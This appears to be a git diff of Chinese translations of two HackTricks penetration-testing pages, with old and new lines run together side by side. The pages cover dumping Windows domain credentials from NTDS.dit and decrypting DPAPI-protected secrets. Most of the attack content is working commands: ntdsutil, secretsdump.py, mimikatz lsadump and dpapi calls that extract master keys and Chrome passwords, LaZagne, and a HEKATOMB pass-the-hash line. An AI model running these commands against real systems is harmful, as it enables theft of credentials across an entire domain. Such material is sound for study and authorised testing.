* **链接表**:关于关系的信息(成员属于... * **链接表**:关系信息(成员等
* **SD 表**:包含每个对象的安全描述符 * **SD表**:包含每个对象的安全描述符
更多信息请访问[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) 有关更多信息,请参阅[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows 使用 _Ntdsa.dll_ 与该文件交互,并由 _lsass.exe_ 使用。然后,**部分** **NTDS.dit** 文件可能位于 **`lsass` 内存中**(你可能会发现最近访问的数据,这可能是因为使用 **缓存** 提高了性能)。 Windows使用_Ntdsa.dll_与该文件进行交互并由_lsass.exe_使用。然后**NTDS.dit**文件的**部分**可能位于`lsass`内存中(您可以找到最近访问的数据,可能是因为使用**缓存**来提高性能)。
#### 解密 NTDS.dit 中的哈希 #### 解密NTDS.dit中的哈希
哈希被加密 3 次: 哈希值被加密了3次:
1. 使用 **BOOTKEY** **RC4** 解密密码加密密钥(**PEK**)。 1. 使用**BOOTKEY**和**RC4**解密密码加密密钥(**PEK**)。
2. 使用 **PEK** **RC4** 解密 **哈希** 2. 使用**PEK**和**RC4**解密**哈希**。
3. 使用 **DES** 解密 **哈希** 3. 使用**DES**解密**哈希**。
**PEK****每个域控制器**中都有**相同的值**,但它在 **NTDS.dit** 文件中使用域控制器的 **SYSTEM 文件的 BOOTKEY在不同域控制器之间不同**进行了**加密**。这就是为什么要从 NTDS.dit 文件中获取凭据,**你需要 NTDS.dit 和 SYSTEM 文件**_C:\Windows\System32\config\SYSTEM_ **PEK**在**每个域控制器**中具有**相同的值**,但它在**NTDS.dit**文件中使用**域控制器的SYSTEM文件的BOOTKEY在域控制器之间不同**进行加密。这就是为什么要从NTDS.dit文件中获取凭证**您需要NTDS.dit和SYSTEM文件**_C:\Windows\System32\config\SYSTEM_
### 使用 Ntdsutil 复制 NTDS.dit ### 使用Ntdsutil复制NTDS.dit
Windows Server 2008 起提供 Windows Server 2008起可用
```bash ```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
``` ```
还可以使用[**卷影复制**](./#stealing-sam-and-system)技巧来复制**ntds.dit**文件。记住,你还需要一份**SYSTEM文件**的副本(同样,[**从注册表中导出或使用卷影复制**](./#stealing-sam-and-system)技巧)。 也可以使用**卷影复制**技巧来复制**ntds.dit**文件。请记住,你还需要一个**SYSTEM文件**的副本(同样,可以从注册表中转储或使用卷影复制技巧)。
### **从NTDS.dit中提取哈希** ### **从NTDS.dit中提取哈希**
一旦你**获取**了**NTDS.dit**和**SYSTEM**文件你可以使用像_secretsdump.py_这样的工具来**提取哈希** 一旦你获得了**NTDS.dit**和**SYSTEM**文件你可以使用像_secretsdump.py_这样的工具来**提取哈希**
```bash ```bash
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
``` ```
你也可以使用一个有效的域管理员用户**自动提取它们** 您还可以使用有效的域管理员用户**自动提取它们**
``` ```
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
``` ```
对于**大型 NTDS.dit 文件**,建议使用 [gosecretsdump](https://github.com/c-sto/gosecretsdump) 来提取。 对于**大型NTDS.dit文件**,建议使用[gosecretsdump](https://github.com/c-sto/gosecretsdump)来提取
最后,您还可以使用 **metasploit 模块**_post/windows/gather/credentials/domain\_hashdump_ **mimikatz** `lsadump::lsa /inject` 最后,您还可以使用**metasploit模块**_post/windows/gather/credentials/domain\_hashdump_或**mimikatz** `lsadump::lsa /inject`
### **从 NTDS.dit 提取域对象到 SQLite 数据库** ### **将NTDS.dit中的域对象提取到SQLite数据库**
可以使用 [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite) 将 NTDS 对象提取到 SQLite 数据库。不仅提取了秘密,还提取了整个对象及其属性,以便在已经检索到原始 NTDS.dit 文件时进一步提取信息 NTDS对象可以使用[ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)提取到SQLite数据库。不仅提取了秘密还提取了整个对象及其属性以便在已经检索到原始NTDS.dit文件时进行进一步信息提取。
``` ```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
``` ```
`SYSTEM` 注册表文件是可选的但允许进行秘密解密NT 和 LM 哈希值附加凭据如明文密码Kerberos 或信任密钥NT 和 LM 密码历史记录。除其他信息外还提取以下数据用户和计算机帐户及其哈希值UAC 标志最后登录和更改密码的时间戳帐户描述名称UPNSPN组和递归成员组织单位树和成员受信任的域及其信任类型方向和属性...
## Lazagne ## Lazagne
从[这里](https://github.com/AlessandroZ/LaZagne/releases)下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。 从[这里](https://github.com/AlessandroZ/LaZagne/releases)下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
``` ```
lazagne.exe all lazagne.exe all
``` ```
## 其他工具用于从SAM和LSASS提取凭据 ## 从SAM和LSASS提取凭据的其他工具
### Windows 凭据编辑器 (WCE) ### Windows凭据编辑器WCE
工具可用于从内存中提取凭据。从以下链接下载:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) 工具可用于从内存中提取凭据。从以下链接下载:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
### fgdump ### fgdump
@ -292,22 +288,22 @@ type outpwdump
``` ```
### PwDump7 ### PwDump7
此处下载:[http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7),直接**执行**即可提取密码 从[http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7)下载并**执行**它,密码将被提取
## 防御措施 ## 防御
[**在这里了解一些凭保护措施。**](credentials-protections.md) [**在这里了解一些凭保护措施。**](credentials-protections.md)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,53 +2,37 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details> </details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台 [**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
在创建这篇文章时mimikatz在与DPAPI交互的每个操作中都遇到了问题因此**大部分示例和图片都来自于**[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
## 什么是DPAPI ## 什么是DPAPI
在Windows操作系统中DPAPI的主要用途是使用用户或系统密钥作为熵的重要贡献对非对称私钥执行对称加密。\ 数据保护APIDPAPI主要用于Windows操作系统中对**非对称私钥进行对称加密**,利用用户或系统密钥作为重要的熵源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录密钥派生的密钥来加密数据,或者对于系统加密,使用系统的域认证密钥,从而无需开发人员自行管理加密密钥的保护。
**DPAPI允许开发人员使用从用户登录凭据派生的对称密钥来加密密钥**,或者在系统加密的情况下,使用系统的域身份验证凭据。
这使得开发人员可以非常容易地在计算机中**保存加密数据**,而无需担心如何**保护**加密**密钥**。 ### DPAPI保护的数据
### DPAPI保护什么 DPAPI保护的个人数据包括
DPAPI用于保护以下个人数据 - Internet Explorer和Google Chrome的密码和自动填充数据
- Outlook和Windows Mail等应用程序的电子邮件和内部FTP帐户密码
- 共享文件夹、资源、无线网络和Windows Vault的密码包括加密密钥
- 远程桌面连接、.NET Passport以及用于各种加密和身份验证目的的私钥的密码
- 由凭据管理器管理的网络密码以及使用CryptProtectData的应用程序中的个人数据如Skype、MSN Messenger等
* Internet Explorer、Google Chrome中的密码和表单自动完成数据 ## 列出保险库
* Outlook、Windows Mail等中的电子邮件帐户密码
* 内部FTP管理器帐户密码
* 共享文件夹和资源访问密码
* 无线网络帐户密钥和密码
* Windows CardSpace和Windows Vault中的加密密钥
* 远程桌面连接密码,.NET Passport
* 用于加密文件系统EFS、加密邮件S-MIME、其他用户证书、Internet Information Services中的SSL/TLS的私钥
* EAP/TLS和802.1xVPN和WiFi身份验证
* 凭据管理器中的网络密码
* 任何使用API函数CryptProtectData进行编程保护的应用程序中的个人数据。例如在Skype、Windows Rights Management Services、Windows Media、MSN Messenger、Google Talk等中。
* ...
{% hint style="info" %}
使用DPAPI保护数据的一个成功而巧妙的例子是在Internet Explorer中实现自动完成密码加密算法。为了加密某个网页的登录和密码它调用CryptProtectData函数在可选的熵参数中指定了网页的地址。因此除非知道输入密码的原始URL否则没有人甚至是Internet Explorer本身都无法解密该数据。
{% endhint %}
## 列出Vault
```bash ```bash
# From cmd # From cmd
vaultcmd /listcreds:"Windows Credentials" /all vaultcmd /listcreds:"Windows Credentials" /all
@ -58,14 +42,14 @@ mimikatz vault::list
``` ```
## 凭证文件 ## 凭证文件
**由主密码保护的凭证文件**可能位于以下位置 **受保护的凭证文件**可能位于
``` ```
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
``` ```
使用mimikatz的`dpapi::cred`命令获取凭据信息,在响应中可以找到有趣的信息如加密数据和guidMasterKey。 使用mimikatz `dpapi::cred` 获取凭据信息,在响应中您可以找到有趣的信息如加密数据和guidMasterKey。
```bash ```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -81,7 +65,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
``` ```
## 主密钥 ## 主密钥
用于加密用户RSA密钥的DPAPI密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录下,其中{SID}是该用户的[**安全标识符**](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥存储在保护用户私钥的主密钥相同的文件中**。它通常是64个字节的随机数据。请注意此目录受保护因此无法使用`dir`命令列出但可以使用PS列出 用于加密用户RSA密钥的DPAPI密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录下,其中{SID}是该用户的[**安全标识符**](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥存储在保护用户私钥的主密钥相同的文件中**。通常是64个字节的随机数据。(请注意此目录受保护因此您无法使用cmd的`dir`命令列出它但您可以使用PS列出它)
```bash ```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -90,76 +74,33 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
``` ```
以下是用户的一主密钥的样子: 以下是用户的一主密钥的样子:
![](<../../.gitbook/assets/image (324).png>) ![](<../../.gitbook/assets/image (324).png>)
通常**每个主密钥都是一个加密的对称密钥,可以用来解密其他内容**。因此,提取**加密的主密钥**是有趣的,以便稍后解密使用该密钥加密的**其他内容**。 通常**每个主密钥都是一个加密的对称密钥,可以解密其他内容**。因此,有趣的是**提取**加密的**主密钥**,以便稍后**解密**使用它加密的**其他内容**。
### 提取主密钥解密 ### 提取主密钥解密
在前面的部分中,我们找到了一个名为`3e90dd9e-f901-40a1-b691-84d7f647b8fe`的guidMasterKey该文件将位于 查看帖子[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)以了解如何提取主密钥并解密它。
```
C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>
```
在哪里可以使用mimikatz提取主密钥
```bash
# If you know the users password
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
# If you don't have the users password and inside an AD
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
```
文件的主密钥将出现在输出中。
最后,您可以使用该**主密钥**来**解密****凭据文件**
```
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
```
### 使用管理员权限提取所有本地主密钥
如果您是管理员可以使用以下方法获取dpapi主密钥
```
sekurlsa::dpapi
```
![](<../../.gitbook/assets/image (326).png>)
### 提取所有备份的主密钥Master Keys与域管理员
域管理员可以获取备份的dpapi主密钥用于解密加密的密钥
```
lsadump::backupkeys /system:dc01.offense.local /export
```
使用检索到的备份密钥,让我们解密用户的 `spotless` 主密钥:
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
我们现在可以使用解密后的主密钥解密用户的`spotless` Chrome 密钥。
```
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
```
## 加密和解密内容
您可以在以下链接中找到使用mimikatz和C++对数据进行加密和解密的示例:[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\
您可以在以下链接中找到使用C#对数据进行加密和解密的示例:[https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
## SharpDPAPI ## SharpDPAPI
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)是[@gentilkiwi](https://twitter.com/gentilkiwi)的[Mimikatz](https://github.com/gentilkiwi/mimikatz/)项目中一些DPAPI功能的C#端口 [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)是[@gentilkiwi](https://twitter.com/gentilkiwi)的[Mimikatz](https://github.com/gentilkiwi/mimikatz/)项目中一些DPAPI功能的C#移植。
## HEKATOMB ## HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)是一个自动化从LDAP目录中提取所有用户和计算机以及通过RPC提取域控制器备份密钥的工具。然后脚本将解析所有计算机的IP地址并在所有计算机上执行smbclient以检索所有用户的DPAPI blob并使用域备份密钥解密所有内容。 [**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)是一个工具可以自动提取LDAP目录中的所有用户和计算机以及通过RPC提取域控制器备份密钥。然后脚本将解析所有计算机的IP地址并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob并使用域备份密钥解密所有内容。
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
使用从LDAP计算机列表中提取的信息即使您不知道它们也可以找到每个子网络 通过从LDAP计算机列表中提取您可以找到每个子网络即使您不知道它们
"因为仅仅拥有域管理员权限是不够的。攻破它们全部。" "因为域管理员权限还不够。攻破它们全部。"
## DonPAPI ## DonPAPI
[**DonPAPI**](https://github.com/login-securite/DonPAPI)可以自动转储由DPAPI保护的密。 [**DonPAPI**](https://github.com/login-securite/DonPAPI)可以自动转储由DPAPI保护的机密。
## 参考资料 ## 参考资料
@ -168,7 +109,7 @@ dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Da
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚集地 [**RootedCON**](https://www.rootedcon.com/)是西班牙最相关的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -176,10 +117,10 @@ dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Da
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中宣传您的公司吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f)或[**电报群**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f)或[**电报群**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details> </details>